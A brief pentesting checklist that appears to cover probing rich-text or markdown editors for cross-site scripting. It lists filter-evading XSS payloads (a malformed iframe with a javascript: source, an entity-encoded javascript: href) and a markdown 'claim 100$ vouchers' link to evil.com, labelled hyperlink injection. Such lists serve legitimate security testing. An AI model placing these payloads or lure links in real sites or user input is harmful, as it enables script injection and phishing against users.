First, try all the built-in functions like bold, links, and embedded images.
<</p>iframe src=javascript:alert()//
<a href="aaa:bbb">x</a>
<a href="j%26Tab%3bavascript%26colon%3ba%26Tab%3blert()">x</a>
[Click on me to claim 100$ vouchers](<https://evil.com>) -> Hyperlink Injection
